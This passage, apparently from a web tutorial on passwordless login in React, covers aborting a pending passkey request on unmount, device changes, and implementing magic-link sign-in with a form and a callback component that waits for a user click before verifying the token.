class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> controller</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">abort</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">form</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">input</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">type</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">email</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">name</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">email</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">autoComplete</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">username webauthn</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">type</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">submit</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text">Continue</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">form</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>The cleanup function aborts the request when the component unmounts. That also covers React's Strict Mode in development, which mounts effects twice and would otherwise leave a second request hanging.</p>
<p>You'll need the same abort before starting any other WebAuthn request, such as one from a <strong>Sign in with passkey</strong> button, because the browser only runs one at a time. And if conditional UI isn't supported at all, users should still be able to sign in through a regular passkey button or another authentication method.</p>
<p>The important thing is that <strong>conditional UI doesn't change how passkeys authenticate users. It changes how users discover and select them.</strong> The same ceremony happens behind the scenes, offered through the login form instead of a separate button.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-breaks-when-the-user-gets-a-new-device">What breaks when the user gets a new device?<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#what-breaks-when-the-user-gets-a-new-device" class="hash-link" aria-label="Direct link to What breaks when the user gets a new device?" title="Direct link to What breaks when the user gets a new device?" translate="no">​</a></h3>
<p>Not necessarily anything. If the passkey is synced through a credential provider, it becomes available again when the user signs in on the new device. But a user might lose access to that provider, or their passkey might live on a single device or security key that's now gone, so you still need a recovery path. We'll cover that in <a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#account-recovery-the-part-that-decides-whether-this-works" class="">the account recovery section</a>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="magic-links-in-react">Magic links in React<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#magic-links-in-react" class="hash-link" aria-label="Direct link to Magic links in React" title="Direct link to Magic links in React" translate="no">​</a></h2>
<p>Magic links are much simpler than passkeys. Instead of asking the user for a password, you ask for their email address and send them a short-lived sign-in link.</p>
<p>A basic React form might look like this:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> useState </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"react"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#0B1633;font-weight:600">MagicLinkLogin</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain">email</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> setEmail</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">useState</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">""</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">sendLink</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token parameter" style="color:#1F4FFF">event</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    event</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">preventDefault</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">fetch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/api/auth/magic-link"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token literal-property property" style="color:#1F4FFF">method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"POST"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token literal-property property" style="color:#1F4FFF">headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token string-property property" style="color:#1F4FFF">"Content-Type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"application/json"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token literal-property property" style="color:#1F4FFF">body</span><span class="token operator">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#0B1633;font-weight:600">JSON</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">stringify</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> email </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">form</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">onSubmit</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF">sendLink</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">input</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">        </span><span class="token tag attr-name" style="color:#1F4FFF">type</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">email</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">        </span><span class="token tag attr-name" style="color:#1F4FFF">value</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF">email</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">        </span><span class="token tag attr-name" style="color:#1F4FFF">onChange</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">(</span><span class="token tag script language-javascript parameter" style="color:#1F4FFF">event</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">)</span><span class="token tag script language-javascript" style="color:#1F4FFF"> </span><span class="token tag script language-javascript arrow operator" style="color:#1F4FFF">=&gt;</span><span class="token tag script language-javascript" style="color:#1F4FFF"> </span><span class="token tag script language-javascript function" style="color:#0B1633;font-weight:600">setEmail</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">(</span><span class="token tag script language-javascript" style="color:#1F4FFF">event</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">.</span><span class="token tag script language-javascript property-access" style="color:#1F4FFF">target</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">.</span><span class="token tag script language-javascript property-access" style="color:#1F4FFF">value</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">)</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">        </span><span class="token tag attr-name" style="color:#1F4FFF">autoComplete</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">email</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">      </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">type</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">submit</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text">Email me a sign-in link</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">form</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>React sends the email address to <code>/api/auth/magic-link</code>, and the backend creates a cryptographically strong, short-lived token and emails the user a link that might look like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">https://app.example.com/login/callback?token=abc123</span><br></span></code></pre></div></div>
<p>The user clicks the link, comes back to your application, and the token is sent to the backend for verification. So the basic flow is:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Magic link sign-in</figcaption><ol class="steps_ptmz" aria-label="Magic link sign-in"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">User</span><span class="text_K99R">Enters their email address</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">React</span><span class="text_K99R">Asks the backend to send a magic link</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Backend</span><span class="text_K99R">Creates a short-lived token</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">User</span><span class="text_K99R">Receives the email</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">User</span><span class="text_K99R">Clicks the link</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">Backend</span><span class="text_K99R">Verifies the token</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">User is authenticated</span></div></li></ol></figure>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="handling-the-callback-route">Handling the callback route<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#handling-the-callback-route" class="hash-link" aria-label="Direct link to Handling the callback route" title="Direct link to Handling the callback route" translate="no">​</a></h3>
<p>When the user clicks the link, they land on the callback route, <code>/login/callback</code> in our example. The callback page reads the token from the URL but doesn't send it straight away. Email security scanners often open links before the user does, so this page shouldn't sign anyone in until the user clicks:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> useState </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"react"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#0B1633;font-weight:600">MagicLinkCallback</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain">status</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> setStatus</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">useState</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"idle"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> token </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">URLSearchParams</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token dom variable" style="color:#C43300">window</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">location</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">search</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"token"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">completeSignIn</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function" style="color:#0B1633;font-weight:600">setStatus</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"verifying"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> response </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">fetch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/api/auth/magic-link/verify"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token literal-property property" style="color:#1F4FFF">method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"POST"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token literal-property property" style="color:#1F4FFF">headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">          </span><span class="token string-property property" style="color:#1F4FFF">"Content-Type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"application/json"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token literal-property property" style="color:#1F4FFF">credentials</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"include"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token literal-property property" style="color:#1F4FFF">body</span><span class="token operator">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#0B1633;font-weight:600">JSON</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">stringify</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> token </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword control-flow" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">response</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">ok</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"Invalid link"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token comment" style="color:#5A6072;font-style:italic">// The session cookie is set. Load the signed-in part of the app.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token dom variable" style="color:#C43300">window</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">location</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">assign</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/dashboard"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#1F4FFF">catch</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">setStatus</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"failed"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">token </span><span class="token operator">||</span><span class="token plain"> status </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"failed"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">p</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text">This sign-in link is invalid or has expired.</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">p</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">onClick</span><span class="token 